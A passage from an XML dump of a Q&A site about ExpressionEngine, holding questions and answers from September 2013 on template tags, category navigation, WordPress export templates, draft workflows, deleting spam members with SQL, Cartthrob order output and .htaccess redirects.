  <row Id="13800" PostTypeId="2" ParentId="13765" CreationDate="2013-09-16T12:50:48.240" Score="1" Body="&lt;p&gt;Wow that's a lot of conditionals.  This loop runs for every tag. So in this case 3 times.&#xA;If you only want Spoilers to display once, try &#xA;&lt;code&gt;{if count == '1'}Spoilers&amp;lt;/if}&lt;/code&gt; &#xA;Here: &#xA;&lt;code&gt;{if tag == &quot;S1&quot;}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}/Season_One/&quot;&amp;gt;Season One&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}/{websafe_tag}/&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;changing the tags to Season 1, Season 2 etc instead of s1, s2.  Then things will be dynamic as seasons are added as well.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-16T12:50:48.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13801" PostTypeId="1" AcceptedAnswerId="13812" CreationDate="2013-09-16T14:59:56.160" Score="0" ViewCount="73" Body="&lt;p&gt;I'm trying to create a navigation with my categories, current the categories look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Products&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Accessories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Backpacks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Clothing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– – Mens&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– – Womans&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When on the main products page I want to display all of these items, when on the clothing page I want to display Clothing as the title, then Womens and Mens, when on Mens, I want to display Mens and Womens with Clothing as the title. Currently have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories cat_url_title=&quot;{segment_3}&quot; show_trail=&quot;yes&quot; class=&quot;categories&quot;}&#xA;      &amp;lt;a href=&quot;/cave/category/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;    {/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is outputting the current item you're on and any parents items above, I just need to display the siblings as well (women if you're on men).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? and if so, how, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-09-16T19:39:01.183" Title="Showing all categories on the same level as current entry" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13802" PostTypeId="1" CreationDate="2013-09-16T15:10:28.990" Score="4" ViewCount="298" Body="&lt;p&gt;I have a model (core_model.php) with lots of functions in there, however having an issue with the following one in specific :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Class core_model {&#xA;    function __construct(){&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api'); &#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('email');&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('template');&#xA;&#xA;        $settings = $this-&amp;gt;_get_settings();&#xA;    }&#xA;&#xA;        .....&#xA;&#xA;    function parse_user_template($data)&#xA;    {&#xA;     $td = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select(&quot;template_data&quot;)&#xA;                            -&amp;gt;from(&quot;templates&quot;)&#xA;                            -&amp;gt;where(&quot;template_name&quot;,&quot;user_notification&quot;)  &#xA;                            -&amp;gt;get()-&amp;gt;row()-&amp;gt;template_data;&#xA;&#xA;     $parsed_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($td,$data);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I'm calling the $this-&gt;EE-&gt;core_model-&gt;parse_user_template($data) function passing in a $data array of values which I want it to parse against the specific template file for me to do something with once parsed (namely to use it as an email body).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, I'm getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Message: Undefined property: EE::$TMPL&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: models/core_model.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 69&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas why this is the case and I can't parse it?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-09-16T15:28:20.707" Title="TMPL-&gt;parse_variables_row() not available in model?" Tags="|templates|add-on-development|parsing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13804" PostTypeId="2" ParentId="13780" CreationDate="2013-09-16T15:26:22.880" Score="1" Body="&lt;p&gt;Looks like an out of memory error.  This is happening when you just login? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much memory do you have allocated for this account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, try to repair and optimize your database tables and see if that helps to alleviate this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it can be more helpful to copy and paste the error as text. For one thing, then it is readable (your screenshot is quite small), and also, it's easier to grab for searching. :)&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-09-16T15:26:22.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13805" PostTypeId="2" ParentId="13802" CreationDate="2013-09-16T15:28:20.707" Score="4" Body="&lt;p&gt;The loading of the template needs to be done as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('template',null,'TMPL');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it works.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-09-16T15:28:20.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13806" PostTypeId="2" ParentId="13612" CreationDate="2013-09-16T16:47:51.010" Score="3" Body="&lt;p&gt;Saw your post in meta - maybe a new answer which distills the entire thread you and Anna have created will be of help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do need two templates. The first will begin your document, and then list each channel entry, and then close the document. Within that template's &lt;code&gt;channel:entries&lt;/code&gt; loop, you will embed your &quot;comments&quot; template, which will run once for every entry, and will list all comments for that particular entry, based on the &lt;code&gt;entry_id&lt;/code&gt; you pass it via the embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, using your code, the first template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:excerpt=&quot;http://wordpress.org/export/1.1/excerpt/&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:wp=&quot;http://wordpress.org/export/1.1/&quot;&#xA;&amp;gt;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;{site_name}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{site_url}&amp;lt;/link&amp;gt;&#xA;    &amp;lt;pubDate&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;language&amp;gt;en&amp;lt;/language&amp;gt;&#xA;    &amp;lt;wp:wxr_version&amp;gt;1.1&amp;lt;/wp:wxr_version&amp;gt;&#xA;    &amp;lt;wp:base_site_url&amp;gt;http://domain.com/demo1/&amp;lt;/wp:base_site_url&amp;gt;&#xA;    &amp;lt;wp:base_blog_url&amp;gt;http://domain.com/demo1&amp;lt;/wp:base_blog_url&amp;gt;&#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=3.1.2&amp;lt;/generator&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;blog&quot; status=&quot;Home Featured&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;100&quot; offset=&quot;0&quot; rdf=&quot;off&quot; dynamic=&quot;no&quot;} &#xA;    &amp;lt;item&amp;gt;&#xA;        &amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;&amp;lt;/link&amp;gt;&#xA;        &amp;lt;pubDate&amp;gt;{entry_date format=&quot;%r&quot;}&amp;lt;/pubDate&amp;gt;&#xA;        &amp;lt;dc:creator&amp;gt;&amp;lt;![CDATA[{author}]]&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;        &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;http://domain.com/demo1/?p={entry_id}&amp;lt;/guid&amp;gt;&#xA;        &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;        &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[{if blog-body}{blog-body}{if:elseif cc_content}{cc_content}{if:else}{article_content}{/if}]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;        &amp;lt;excerpt:encoded&amp;gt;&amp;lt;![CDATA[{if blog_short}{blog_short}{if:elseif cc_teaser}{cc_teaser}{if:else}{teaser}{/if}]]&amp;gt;&amp;lt;/excerpt:encoded&amp;gt;&#xA;        &amp;lt;wp:post_id&amp;gt;&amp;lt;/wp:post_id&amp;gt;&#xA;        &amp;lt;wp:post_date&amp;gt;{entry_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/wp:post_date&amp;gt;&#xA;        &amp;lt;wp:post_date_gmt&amp;gt;{gmt_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/wp:post_date_gmt&amp;gt;&#xA;        &amp;lt;wp:comment_status&amp;gt;open&amp;lt;/wp:comment_status&amp;gt;&#xA;        &amp;lt;wp:ping_status&amp;gt;open&amp;lt;/wp:ping_status&amp;gt;&#xA;        &amp;lt;wp:post_name&amp;gt;{url_title}&amp;lt;/wp:post_name&amp;gt;&#xA;        &amp;lt;wp:status&amp;gt;{if status == &quot;open&quot;}publish{if:elseif status == &quot;review&quot;}pending{if:elseif status == &quot;closed&quot;}private{if:elseif status == &quot;draft&quot;}draft{if:else}publish{/if}&amp;lt;/wp:status&amp;gt;&#xA;        &amp;lt;wp:post_parent&amp;gt;0&amp;lt;/wp:post_parent&amp;gt;&#xA;        &amp;lt;wp:menu_order&amp;gt;0&amp;lt;/wp:menu_order&amp;gt;&#xA;        &amp;lt;wp:post_type&amp;gt;post&amp;lt;/wp:post_type&amp;gt;&#xA;        &amp;lt;wp:post_password&amp;gt;&amp;lt;/wp:post_password&amp;gt;&#xA;        &amp;lt;wp:is_sticky&amp;gt;0&amp;lt;/wp:is_sticky&amp;gt;&#xA;{categories}&#xA;        &amp;lt;category domain=&quot;category&quot; nicename=&quot;{if category_url_title == &quot;uncategorized&quot;}media{if:else}{category_url_title}{/if}&quot;&amp;gt;&amp;lt;![CDATA[{if category_name == &quot;Uncategorized&quot;}Media{if:else}{category_name}{/if}]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;{/categories}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_edit_last&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;{if article_links}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;Associated Links&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[{article_links}]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;{/if}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_su_rich_snippet_type&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[none]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_encloseme&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;        {embed=&quot;blog/comments&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, inside of &lt;strong&gt;blog/comments&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;desc&quot; entry_id=&quot;{embed:entry_id}&quot;}&#xA;        &amp;lt;wp:comment&amp;gt;&#xA;            &amp;lt;wp:comment_id&amp;gt;{comment_id}&amp;lt;/wp:comment_id&amp;gt;&#xA;            &amp;lt;wp:comment_author&amp;gt;&amp;lt;![CDATA[{name}]]&amp;gt;&amp;lt;/wp:comment_author&amp;gt;&#xA;            &amp;lt;wp:comment_author_email&amp;gt;{email}&amp;lt;/wp:comment_author_email&amp;gt;&#xA;            &amp;lt;wp:comment_author_url&amp;gt;{url}&amp;lt;/wp:comment_author_url&amp;gt;&#xA;            &amp;lt;wp:comment_author_IP&amp;gt;{ip_address}&amp;lt;/wp:comment_author_IP&amp;gt;&#xA;            &amp;lt;wp:comment_date&amp;gt;{comment_date format=&quot;%Y-%m-%d %h:%i:%s&quot;}&amp;lt;/wp:comment_date&amp;gt;&#xA;            &amp;lt;wp:comment_date_gmt&amp;gt;{gmt_comment_date format=&quot;%Y-%m-%d %h:%i:%s&quot;}&amp;lt;/wp:comment_date_gmt&amp;gt;&#xA;            &amp;lt;wp:comment_content&amp;gt;&amp;lt;![CDATA[{comment}]]&amp;gt;&amp;lt;/wp:comment_content&amp;gt;&#xA;            &amp;lt;wp:comment_approved&amp;gt;1&amp;lt;/wp:comment_approved&amp;gt;&#xA;            &amp;lt;wp:comment_type&amp;gt;&amp;lt;/wp:comment_type&amp;gt;&#xA;            &amp;lt;wp:comment_parent&amp;gt;0&amp;lt;/wp:comment_parent&amp;gt;&#xA;            &amp;lt;wp:comment_user_id&amp;gt;0&amp;lt;/wp:comment_user_id&amp;gt;&#xA;        &amp;lt;/wp:comment&amp;gt;&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The reason the comments chunk needs to be embedded is because there can be variable collisions between the &lt;code&gt;channel:entries&lt;/code&gt; tag and the &lt;code&gt;comment:entries&lt;/code&gt; tag.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-16T16:47:51.010" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13807" PostTypeId="1" CreationDate="2013-09-16T16:51:27.987" Score="1" ViewCount="717" Body="&lt;p&gt;I want to update a channel entry and save it as a draft. I am the admin but I need someone else to review the changes before it is published. This would be either a new channel entry or an updated one. Much like it's done in WordPress. Is there an adon or can I do it natively in EE. &lt;/p&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="197" LastEditDate="2013-09-16T17:42:16.223" LastActivityDate="2013-09-16T20:39:46.477" Title="Save Channel Entry as Draft" Tags="|channel-entries|status|workflow|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13808" PostTypeId="2" ParentId="13807" CreationDate="2013-09-16T17:41:57.737" Score="2" Body="&lt;p&gt;You can use the native entry statuses to accomplish a draft status. If you review the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/statuses.html&quot; rel=&quot;nofollow&quot;&gt;documentation on statuses&lt;/a&gt;, you'll see how you can edit the status group and add &lt;code&gt;draft&lt;/code&gt; alongside &lt;code&gt;open&lt;/code&gt; and &lt;code&gt;closed&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you'll just have to make sure your status group is assigned to the channels you're using to publish the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag will only show entries with the status of &lt;code&gt;open&lt;/code&gt;, so none of the content set to &lt;code&gt;draft&lt;/code&gt; will be visible on the site.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-16T17:41:57.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13810" PostTypeId="1" AcceptedAnswerId="13811" CreationDate="2013-09-16T19:02:39.780" Score="2" ViewCount="82" Body="&lt;p&gt;Any EE folks know if there is a way to delete all member accounts that have no channel entries assigned to them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case any accounts with 0 entries would be spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2013-09-17T06:21:03.293" Title="How to delete all member accounts with no channel entries" Tags="|members|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13811" PostTypeId="2" ParentId="13810" CreationDate="2013-09-16T19:15:37.357" Score="5" Body="&lt;p&gt;If you're comfortable doing this directly in the database, these are SQL queries that delete all members who are not authors of channel entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete from exp_members where member_id not in (select author_id from exp_channel_titles);&#xA;&#xA;delete from exp_member_data where member_id not in (select author_id from exp_channel_titles);&#xA;&#xA;delete from exp_member_homepage where member_id not in (select author_id from exp_channel_titles)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be sure to backup your database first!!! Just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also, I assume you meant &quot;authors&quot; when you describe entries assigned to members. Is this correct?)&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-16T19:15:37.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13812" PostTypeId="2" ParentId="13801" CreationDate="2013-09-16T19:39:01.183" Score="1" Body="&lt;p&gt;Embeds...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primary Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories cat_url_title=&quot;{segment_3}&quot; limit=&quot;1&quot;}&#xA;    {embed=Xgroup/Ytemplate parent=&quot;{parent_id}&quot;}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondary Template (group Xgroup, template Ytemplate):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories cat_id=&quot;{embed:parent_id}&quot; incl_self=&quot;no&quot; show_trail=&quot;yes&quot; class=&quot;categories&quot;}&#xA;    &amp;lt;a href=&quot;/cave/category/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could output the current category in the primary template, then pass through to the embed the cat_id which could then excluded in the secondary template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary could also be used to display the parent category details (if exists).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative would be to use something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to avoid the embed and save the parent and utilise it in a second gwcode_categories call after the first.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-16T19:39:01.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13813" PostTypeId="1" CreationDate="2013-09-16T20:01:35.920" Score="0" ViewCount="71" Body="&lt;p&gt;I have a site that is using the forum module. Although the forum is password protected itself, members must be logged in to the website using a custom template before they can access the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone tries to access a forum URL, they are redirected to the custom template to log in. I did this by putting a PHP redirect in the forum header template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when a member is subscribed to a forum thread and gets a notification email from the forum with a URL to a forum post in it, the link takes them to the forum post page but redirects them to the custom login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the member logs in, the chain is broken and they do not get redirected to the forum post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Os there a way to get this to work correctly?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-09-16T22:02:11.830" Title="Forum email url &amp; login redirect" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13814" PostTypeId="2" ParentId="13704" CreationDate="2013-09-16T20:31:53.853" Score="1" Body="&lt;p&gt;Just browsing through the site, there are random javascript errors being triggered. I would start by attacking these one-by-one. Simply writing exceptions for the pages that don't need the functionality looks as thought it would help to begin. If you are triggering an error early on, a dependent function may randomly run or not run. This all depends on the browser, browser version, and how each handle the void variables being called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for anything else, it's hard to get a grip on it unless you could let us know what plug-ins, scripts you are using, and your template code to see how things are being handled. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-16T20:31:53.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13815" PostTypeId="2" ParentId="13807" CreationDate="2013-09-16T20:39:46.477" Score="2" Body="&lt;p&gt;I use &lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;Better Workflow&lt;/a&gt; for this. It makes life much easier when handling scenarios like what you have here. Another approach I have used, while not as pretty, was to establish statuses, and build a exception to block all but local traffic through a firewall (in this case, using &lt;a href=&quot;http://www.f5.com/products/big-ip/big-ip-local-traffic-manager/overview/&quot; rel=&quot;nofollow&quot;&gt;Big IP from f5&lt;/a&gt;) and building multiple templates. One of the templates will be prefixed with the exception rule, so if you block all outside traffic but allow internal traffic with say 'internal_', your templates could be 'article' and 'internal_article' where 'article' only displays 'open' status and 'internal_article' displays 'open|draft'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's messy and complicated though. That's why I just fold and use Better Workflow.   ;)&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-16T20:39:46.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13816" PostTypeId="2" ParentId="13764" CreationDate="2013-09-16T21:10:36.620" Score="0" Body="&lt;p&gt;Ended up using php to grab the relative path by subtracting {filename} from {url}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $url       = &quot;{image_blog}{url}{/image_blog}&quot;;&#xA;    $filename  = &quot;{image_blog}{filename}{/image_blog}&quot;;&#xA;    $extension = &quot;{image_blog}.{extension}{/image_blog}&quot;;&#xA;    $needle    = $filename . $extension;&#xA;    $relative  = str_replace($needle,&quot;&quot;,$url);&#xA;    $retina    = $relative . $filename . &quot;@2x&quot; . $extension;&#xA;    echo $retina;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="948" LastEditorUserId="948" LastEditDate="2013-09-16T21:16:02.160" LastActivityDate="2013-09-16T21:16:02.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13817" PostTypeId="1" CreationDate="2013-09-16T21:15:28.860" Score="1" ViewCount="305" Body="&lt;p&gt;I have set up a site for booking various conference events with each event represented by a product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to output the booking options (set by the item_options) for each event.&#xA;The following works but with a couple of problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;table&amp;gt;&#xA;    {exp:channel:entries channel=&quot;orders&quot;} &#xA;{if first_item} &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Order ID&amp;lt;/td&amp;gt;{item_options}&amp;lt;td&amp;gt;{option_label}    &amp;lt;/td&amp;gt;{/item_options} &amp;lt;/tr&amp;gt;{/if} &#xA;    {exp:cartthrob:order_items order_id=&quot;{entry_id}&quot; entry_id=&quot;{8647}&quot;}&#xA;  {if first_item} &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Order ID&amp;lt;/td&amp;gt;{item_options}&amp;lt;td&amp;gt;{option_label}&amp;lt;/td&amp;gt;{/item_options} &amp;lt;/tr&amp;gt;{/if}   &#xA;   &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{order_id}&amp;lt;/td&amp;gt;{item_options}&amp;lt;td&amp;gt;{option_value}&amp;lt;/td&amp;gt;{/item_options} &amp;lt;/tr&amp;gt; &#xA;&#xA;    {/exp:cartthrob:order_items}&#xA;    {/exp:channel:entries}&#xA;     &amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am encountering two issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The table heading is appearing for every row &lt;/li&gt;&#xA;&lt;li&gt;The out put works ok if the item entry id is set directly (ie in this case 8647) but I would like to be able to allow the user to select an event on another page and have the entry id fed to the results via a segment. The following code does not work:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:cartthrob:order_items order_id=&quot;{entry_id}&quot; entry_id=&quot;{segment_3}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated! Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I managed to get the table header sorted by ysing the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:order_items entry_id=&quot;8646&quot;} &#xA;     {if item:first_item}&#xA;                &amp;lt;table&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;entry_id&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;title&amp;lt;/td&amp;gt;&#xA;        {item_options}&#xA;            &amp;lt;td&amp;gt;{option_label}&amp;lt;/td&amp;gt;&#xA;            {/item_options}&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;{entry_id}&amp;lt;/td&amp;gt;&#xA;   &amp;lt;td&amp;gt; {title}&amp;lt;/td&amp;gt;&#xA;    {item_options}&#xA;    &amp;lt;td&amp;gt;{option_value} &amp;lt;/td&amp;gt;&#xA;    {/item_options} &#xA;&amp;lt;/tr&amp;gt;&#xA;     {if item:last_item}&#xA;&#xA;&#xA;                        &amp;lt;/tbody&amp;gt; &#xA;  &amp;lt;/table&amp;gt; &#xA;                  {/if}&#xA;    {/exp:cartthrob:order_items} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Issue of not being able to output a specific list of order items using the  entry_id=&quot;{segment_3}&quot; still remains.&lt;/p&gt;&#xA;" OwnerUserId="95" LastEditorUserId="95" LastEditDate="2013-09-19T19:57:59.483" LastActivityDate="2013-09-19T19:57:59.483" Title="Outputting item options from Cartthrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13818" PostTypeId="1" CreationDate="2013-09-16T21:31:36.000" Score="1" ViewCount="4336" Body="&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^\.site\.com$ [NC]&#xA;RewriteRule ^(.+)/$ http://%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added this to my .htaccess file to remove the trailing slash and it has caused a &quot;Too Many Redirects&quot; browser error when trying to access the control panel at site.com/system or site.com/system/. I think EE is trying to add a url back in on refresh and then the htaccess is trying to remove it again. Any ideas how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CP is accessible through site.com/admin.php so my client isn't completely locked out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update with full .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt; &#xA;RewriteEngine On &#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC] &#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;RewriteRule ^(.*)$ /index.php/$1 [L] 